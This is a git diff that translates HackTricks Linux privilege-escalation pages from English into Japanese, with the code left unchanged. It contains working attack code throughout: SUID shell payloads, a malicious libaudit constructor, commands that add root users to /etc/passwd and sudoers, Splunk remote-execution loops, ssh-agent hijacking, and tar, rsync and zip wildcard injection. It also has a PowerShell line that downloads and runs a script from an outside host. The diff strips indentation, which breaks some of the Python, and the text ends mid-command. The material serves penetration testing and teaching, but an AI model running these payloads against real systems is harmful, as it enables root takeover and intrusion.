NFShellによるステルスファイルアクセス +ルートアクセスが取得されたら、所有権を変更せずにNFS共有と対話するために、Pythonスクリプト(nfsh.py)が使用されます。このスクリプトは、アクセスされるファイルのuidに一致するようにuidを調整し、権限の問題なしに共有上のファイルと対話できるようにします: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html @@ -104,23 +97,20 @@ import sys import os def get_file_uid(filepath): - try: - uid = os.stat(filepath).st_uid - except OSError as e: - return get_file_uid(os.path.dirname(filepath)) - return uid +try: +uid = os.stat(filepath).st_uid +except OSError as e: +return get_file_uid(os.path.dirname(filepath)) +return uid filepath = sys.argv[-1] uid = get_file_uid(filepath) os.setreuid(uid, uid) os.system(' '.join(sys.argv[1:])) ``` - -Run like: - +実行するには: ```bash # ll ./mount/ drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/payloads-to-execute.md b/src/linux-hardening/privilege-escalation/payloads-to-execute.md index 37626a2de..e43490448 100644 --- a/src/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/src/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -1,22 +1,19 @@ -# Payloads to execute +# 実行するペイロード {{#include ../../banners/hacktricks-training.md}} ## Bash - ```bash cp /bin/bash /tmp/b && chmod +s /tmp/b /bin/b -p #Maintains root privileges from suid, working in debian & buntu ``` - ## C - ```c //gcc payload.c -o payload int main(void){ - setresuid(0, 0, 0); //Set as user suid user - system("/bin/sh"); - return 0; +setresuid(0, 0, 0); //Set as user suid user +system("/bin/sh"); +return 0; } ``` @@ -27,9 +24,9 @@ int main(void){ #include int main(){ - setuid(getuid()); - system("/bin/bash"); - return 0; +setuid(getuid()); +system("/bin/bash"); +return 0; } ``` @@ -40,42 +37,38 @@ int main(){ #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - const int id = 1000; - setresuid(id, id, id); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +const int id = 1000; +setresuid(id, id, id); +execve(paramList[0], paramList, NULL); +return 0; } ``` +## 権限昇格のためのファイルの上書き -## Overwriting a file to escalate privileges +### 一般的なファイル -### Common files +- _/etc/passwd_ にパスワード付きのユーザーを追加 +- _/etc/shadow_ 内のパスワードを変更 +- _/etc/sudoers_ にユーザーをsudoersに追加 +- 通常 _/run/docker.sock_ または _/var/run/docker.sock_ にあるdockerソケットを通じてdockerを悪用 -- Add user with password to _/etc/passwd_ -- Change password inside _/etc/shadow_ -- Add user to sudoers in _/etc/sudoers_ -- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_ - -### Overwriting a library - -Check a library used by some binary, in this case `/bin/su`: +### ライブラリの上書き +バイナリによって使用されるライブラリを確認します。この場合は `/bin/su`: ```bash ldd /bin/su - linux-vdso.so.1 (0x00007ffef06e9000) - libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) - libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) - libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) - libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) - libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) - /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) +linux-vdso.so.1 (0x00007ffef06e9000) +libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) +libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) +libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) +libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) +libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) +/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) ``` - -In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\ -So, check for functions of this library used by the **`su`** binary: - +この場合、`/lib/x86_64-linux-gnu/libaudit.so.1`を偽装してみましょう。\ +したがって、**`su`**バイナリによって使用されるこのライブラリの関数を確認します: ```bash objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_open @@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message 000000000020e968 g DO .bss 0000000000000004 Base audit_fd ``` - -The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit. - +シンボル `audit_open`、`audit_log_acct_message`、`audit_log_acct_message` および `audit_fd` は、おそらく libaudit.so.1 ライブラリからのものです。libaudit.so.1 は悪意のある共有ライブラリによって上書きされるため、これらのシンボルは新しい共有ライブラリに存在する必要があります。そうでなければ、プログラムはシンボルを見つけることができず、終了します。 ```c #include #include @@ -102,34 +93,27 @@ void inject()__attribute__((constructor)); void inject() { - setuid(0); - setgid(0); - system("/bin/bash"); +setuid(0); +setgid(0); +system("/bin/bash"); } ``` +今、単に **`/bin/su`** を呼び出すことで、rootとしてシェルを取得できます。 -Now, just calling **`/bin/su`** you will obtain a shell as root. +## スクリプト -## Scripts - -Can you make root execute something? - -### **www-data to sudoers** +rootに何かを実行させることはできますか? +### **www-dataをsudoersに追加** ```bash echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update ``` - -### **Change root password** - +### **ルートパスワードの変更** ```bash echo "root:hacked" | chpasswd ``` - -### Add new root user to /etc/passwd - +### /etc/passwd に新しい root ユーザーを追加する ```bash echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index e54915fa9..94dee875b 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -1,10 +1,10 @@ -# RunC Privilege Escalation +# RunC特権昇格 {{#include ../../banners/hacktricks-training.md}} -## Basic information +## 基本情報 -If you want to learn more about **runc** check the following page: +**runc**についてもっと知りたい場合は、以下のページを確認してください: {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md @@ -12,22 +12,21 @@ If you want to learn more about **runc** check the following page: ## PE -If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**. - +ホストに`runc`がインストールされている場合、**ホストのルート/フォルダーをマウントしたコンテナを実行できる可能性があります**。 ```bash runc -help #Get help and see if runc is intalled runc spec #This will create the config.json file in your current folder Inside the "mounts" section of the create config.json add the following lines: { - "type": "bind", - "source": "/", - "destination": "/", - "options": [ - "rbind", - "rw", - "rprivate" - ] +"type": "bind", +"source": "/", +"destination": "/", +"options": [ +"rbind", +"rw", +"rprivate" +] }, #Once you have modified the config.json file, create the folder rootfs in the same directory @@ -37,8 +36,7 @@ mkdir rootfs # The root folder is the one from the host runc run demo ``` - > [!CAUTION] -> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers. +> これは常に機能するわけではありません。runcのデフォルトの動作はrootとして実行することなので、特権のないユーザーとして実行することは単純に機能しません(ルートレス構成がない限り)。ルートレス構成をデフォルトにすることは一般的には良いアイデアではありません。なぜなら、ルートレスコンテナ内には、ルートレスコンテナの外には適用されないいくつかの制限があるからです。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/selinux.md b/src/linux-hardening/privilege-escalation/selinux.md index 548f3d785..8a035f8fc 100644 --- a/src/linux-hardening/privilege-escalation/selinux.md +++ b/src/linux-hardening/privilege-escalation/selinux.md @@ -1,13 +1,12 @@ {{#include ../../banners/hacktricks-training.md}} -# SELinux in Containers +# コンテナにおけるSELinux -[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines) +[Red Hatのドキュメントからの紹介と例](https://www.redhat.com/sysadmin/privileged-flag-container-engines) -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. - -Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`. +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) は **ラベリング** **システム** です。すべての **プロセス** とすべての **ファイル** システムオブジェクトには **ラベル** があります。SELinuxポリシーは、**プロセスラベルがシステム上の他のすべてのラベルに対して何をすることが許可されているか** に関するルールを定義します。 +コンテナエンジンは、通常 `container_t` の単一の制限されたSELinuxラベルを持つ **コンテナプロセス** を起動し、その後コンテナ内のコンテナを `container_file_t` とラベル付けします。SELinuxポリシールールは基本的に、**`container_t` プロセスは `container_file_t` とラベル付けされたファイルをのみ読み書き/実行できる** と述べています。コンテナプロセスがコンテナから脱出し、ホスト上のコンテンツに書き込もうとすると、Linuxカーネルはアクセスを拒否し、コンテナプロセスが `container_file_t` とラベル付けされたコンテンツにのみ書き込むことを許可します。 ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb @@ -15,9 +14,8 @@ $ podman top -l label LABEL system_u:system_r:container_t:s0:c647,c780 ``` +# SELinuxユーザー -# SELinux Users - -There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users. +通常のLinuxユーザーに加えて、SELinuxユーザーも存在します。SELinuxユーザーはSELinuxポリシーの一部です。各Linuxユーザーはポリシーの一部としてSELinuxユーザーにマッピングされます。これにより、LinuxユーザーはSELinuxユーザーに課せられた制限やセキュリティルール、メカニズムを継承することができます。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 3b5a9002d..65731d0dd 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -1,9 +1,8 @@ {{#include ../../banners/hacktricks-training.md}} -## Socket binding example with Python - -In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. +## Pythonによるソケットバインディングの例 +次の例では、**unixソケットが作成されます**(`/tmp/socket_test.s`)そして受信したすべてのものが`os.system`によって**実行されます**。これは実際には見つからないことを知っていますが、この例の目的は、unixソケットを使用したコードがどのように見えるか、そして最悪のケースでの入力の管理方法を示すことです。 ```python:s.py import socket import os, os.path @@ -11,34 +10,29 @@ import time from collections import deque if os.path.exists("/tmp/socket_test.s"): - os.remove("/tmp/socket_test.s") +os.remove("/tmp/socket_test.s") server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) server.bind("/tmp/socket_test.s") os.system("chmod o+w /tmp/socket_test.s") while True: - server.listen(1) - conn, addr = server.accept() - datagram = conn.recv(1024) - if datagram: - print(datagram) - os.system(datagram) - conn.close() +server.listen(1) +conn, addr = server.accept() +datagram = conn.recv(1024) +if datagram: +print(datagram) +os.system(datagram) +conn.close() ``` - -**Execute** the code using python: `python s.py` and **check how the socket is listening**: - +**コードを実行**するには、pythonを使用します: `python s.py` と **ソケットがどのようにリッスンしているかを確認**します: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info - will not be shown, you would have to be root to see it all.) +will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` - -**Exploit** - +**エクスプロイト** ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md index 11d4253c5..e6f2f629c 100644 --- a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md +++ b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md @@ -1,52 +1,50 @@ -# Splunk LPE and Persistence +# Splunk LPEと持続性 {{#include ../../banners/hacktricks-training.md}} -If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. +内部または外部でマシンを**列挙**しているときに**Splunkが実行中**(ポート8090)であることがわかり、運が良ければ**有効な資格情報**を知っている場合、**Splunkサービスを悪用**してSplunkを実行しているユーザーとして**シェルを実行**できます。もしrootが実行している場合、特権をrootに昇格させることができます。 -Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host. +また、**すでにrootであり、Splunkサービスがlocalhostのみでリッスンしていない場合**、Splunkサービスから**パスワード**ファイルを**盗み**、パスワードを**クラッキング**するか、新しい資格情報を追加できます。そして、ホスト上で持続性を維持します。 -In the first image below you can see how a Splunkd web page looks like. +下の最初の画像では、Splunkdのウェブページがどのように見えるかを示しています。 -## Splunk Universal Forwarder Agent Exploit Summary +## Splunk Universal Forwarder Agentの脆弱性概要 -For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary: +詳細については、投稿を確認してください [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)。これは概要です: -**Exploit Overview:** -An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network. +**脆弱性の概要:** +Splunk Universal Forwarder Agent(UF)を対象とした脆弱性は、エージェントのパスワードを持つ攻撃者がエージェントを実行しているシステム上で任意のコードを実行できるようにし、ネットワーク全体を危険にさらす可能性があります。 -**Key Points:** +**重要なポイント:** -- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution. -- Common password acquisition methods include locating them in network directories, file shares, or internal documentation. -- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration. +- UFエージェントは、受信接続やコードの真正性を検証しないため、不正なコード実行に対して脆弱です。 +- 一般的なパスワード取得方法には、ネットワークディレクトリ、ファイル共有、または内部文書での発見が含まれます。 +- 成功した脆弱性の悪用は、侵害されたホストでのSYSTEMまたはrootレベルのアクセス、データの流出、さらなるネットワーク侵入につながる可能性があります。 -**Exploit Execution:** +**脆弱性の実行:** -1. Attacker obtains the UF agent password. -2. Utilizes the Splunk API to send commands or scripts to the agents. -3. Possible actions include file extraction, user account manipulation, and system compromise. +1. 攻撃者がUFエージェントのパスワードを取得します。 +2. Splunk APIを利用して、エージェントにコマンドやスクリプトを送信します。 +3. 可能なアクションには、ファイル抽出、ユーザーアカウントの操作、システムの侵害が含まれます。 -**Impact:** +**影響:** -- Full network compromise with SYSTEM/root level permissions on each host. -- Potential for disabling logging to evade detection. -- Installation of backdoors or ransomware. - -**Example Command for Exploitation:** +- 各ホストでSYSTEM/rootレベルの権限を持つ完全なネットワーク侵害。 +- 検出を回避するためのログの無効化の可能性。 +- バックドアやランサムウェアのインストール。 +**悪用のためのコマンドの例:** ```bash for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done ``` - -**Usable public exploits:** +**使用可能な公開エクスプロイト:** - https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2 - https://www.exploit-db.com/exploits/46238 - https://www.exploit-db.com/exploits/46487 -## Abusing Splunk Queries +## Splunkクエリの悪用 -**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)** +**詳細については、投稿を確認してください [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index 774e13999..9c3572c89 100644 --- a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -1,30 +1,26 @@ {{#include ../../banners/hacktricks-training.md}} -# Summary - -What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this: +# 概要 +`/etc/ssh_config` または `$HOME/.ssh/config` の設定内でこれを発見した場合、何ができますか: ``` ForwardAgent yes ``` +もしあなたがマシン内でrootであれば、_ /tmp _ ディレクトリ内で見つけることができる任意のエージェントによって行われた**任意のssh接続にアクセスできる**可能性があります。 -If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory - -Impersonate Bob using one of Bob's ssh-agent: - +Bobのssh-agentの1つを使用してBobになりすます: ```bash SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston ``` +## なぜこれが機能するのか? -## Why does this work? +`SSH_AUTH_SOCK` 変数を設定すると、ボブの ssh 接続で使用されたキーにアクセスしています。次に、彼の秘密鍵がまだそこにある場合(通常はそうなります)、それを使用して任意のホストにアクセスできるようになります。 -When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it. +秘密鍵はエージェントのメモリに暗号化されずに保存されているため、ボブであっても秘密鍵のパスワードを知らない場合、エージェントにアクセスして使用することができると思います。 -As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it. +もう一つのオプションは、エージェントの所有者であるユーザーと root がエージェントのメモリにアクセスし、秘密鍵を抽出できる可能性があることです。 -Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key. +# 詳細な説明と悪用 -# Long explanation and exploitation - -**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)** +**[元の研究はこちらをチェック](https://www.clockwork.com/insights/ssh-agent-hijacking/)** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index d497174d6..91c2514bc 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -2,71 +2,59 @@ ## chown, chmod -You can **indicate which file owner and permissions you want to copy for the rest of the files** - +**どのファイルの所有者と権限を残りのファイルにコピーしたいかを指定できます** ```bash touch "--reference=/my/own/path/filename" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +この攻撃を利用することができます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(組み合わせ攻撃)_\ +詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) を参照してください。 ## Tar -**Execute arbitrary commands:** - +**任意のコマンドを実行する:** ```bash touch "--checkpoint=1" touch "--checkpoint-action=exec=sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +この方法を利用して攻撃できます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar攻撃)_\ +詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) を参照してください。 ## Rsync -**Execute arbitrary commands:** - +**任意のコマンドを実行する:** ```bash Interesting rsync option from manual: - -e, --rsh=COMMAND specify the remote shell to use - --rsync-path=PROGRAM specify the rsync to run on remote machine +-e, --rsh=COMMAND specify the remote shell to use +--rsync-path=PROGRAM specify the rsync to run on remote machine ``` ```bash touch "-e sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +この攻撃は [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_ を使用して悪用できます。\ +詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) を参照してください。 ## 7z -In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root: - +**7z** では、`--` を `*` の前に使用しても(`--` は次の入力がパラメータとして扱われないことを意味しますので、この場合はファイルパスのみです)、任意のエラーを引き起こしてファイルを読み取ることができます。したがって、次のようなコマンドが root によって実行されている場合: ```bash 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` - -And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read: - +このコマンドが実行されているフォルダーにファイルを作成できるので、`@root.txt`というファイルと、読みたいファイルへの**シンボリックリンク**である`root.txt`というファイルを作成できます: ```bash cd /path/to/7z/acting/folder touch @root.txt ln -s /file/you/want/to/read root.txt ``` +その後、**7z** が実行されると、`root.txt` を圧縮すべきファイルのリストを含むファイルとして扱います(それが `@root.txt` の存在が示すことです)そして、7z が `root.txt` を読み込むと、`/file/you/want/to/read` を読み込みます **そしてこのファイルの内容がファイルのリストでないため、エラーをスローします** 内容を表示します。 -Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content. - -_More info in Write-ups of the box CTF from HackTheBox._ +_詳細は HackTheBox の CTF ボックスの Write-ups にあります。_ ## Zip -**Execute arbitrary commands:** - +**任意のコマンドを実行する:** ```bash zip name.zip files -T --unzip-command "sh -c whoami" ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/write-to-root.md b/src/linux-hardening/privilege-escalation/write-to-root.md index 65f4bbafc..3f8bcdd66 100644 --- a/src/linux-hardening/privilege-escalation/write-to-root.md +++ b/src/linux-hardening/privilege-escalation/write-to-root.md @@ -1,40 +1,36 @@ -# Arbitrary File Write to Root +# ルートへの任意のファイル書き込み {{#include ../../banners/hacktricks-training.md}} ### /etc/ld.so.preload -This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\ -If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary. - -For example: `echo "/tmp/pe.so" > /etc/ld.so.preload` +このファイルは**`LD_PRELOAD`**環境変数のように動作しますが、**SUIDバイナリ**でも機能します。\ +これを作成または変更できる場合、実行される各バイナリと共に読み込まれる**ライブラリへのパスを追加するだけです**。 +例えば: `echo "/tmp/pe.so" > /etc/ld.so.preload` ```c #include #include #include void _init() { - unlink("/etc/ld.so.preload"); - setgid(0); - setuid(0); - system("/bin/bash"); +unlink("/etc/ld.so.preload"); +setgid(0); +setuid(0); +system("/bin/bash"); } //cd /tmp //gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - ### Git hooks -[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**. - -For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created: +[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) は、コミットが作成されるときやマージなど、git リポジトリ内のさまざまな **イベント** で **実行される** **スクリプト** です。したがって、**特権スクリプトまたはユーザー** がこれらのアクションを頻繁に実行し、`.git` フォルダーに **書き込む** ことが可能であれば、これを **privesc** に利用できます。 +たとえば、git リポジトリ内の **`.git/hooks`** に **スクリプトを生成** することが可能であり、新しいコミットが作成されるたびに常に実行されます: ```bash echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit chmod +x pre-commit ``` - ### Cron & Time files TODO @@ -45,6 +41,6 @@ TODO ### binfmt_misc -The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open. +`/proc/sys/fs/binfmt_misc` にあるファイルは、どのバイナリがどのタイプのファイルを実行すべきかを示します。TODO: 一般的なファイルタイプが開かれたときにリバースシェルを実行するためにこれを悪用する要件を確認してください。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/README.md b/src/linux-hardening/useful-linux-commands/README.md index f69d43525..cfe3d80a1 100644 --- a/src/linux-hardening/useful-linux-commands/README.md +++ b/src/linux-hardening/useful-linux-commands/README.md @@ -1,17 +1,9 @@ -# Useful Linux Commands +# 有用なLinuxコマンド -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {{#include ../../banners/hacktricks-training.md}} -## Common Bash - +## 一般的なBash ```bash #Exfiltration using Base64 base64 -w 0 file @@ -130,17 +122,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Bash for Windows - +## Windows用Bash ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 @@ -160,9 +142,7 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` - ## Greps - ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -242,9 +222,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` - -## Find - +## 見つける ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -273,25 +251,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` - -## Nmap search help - +## Nmap 検索ヘルプ ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` - -## Bash - +## バッシュ ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e 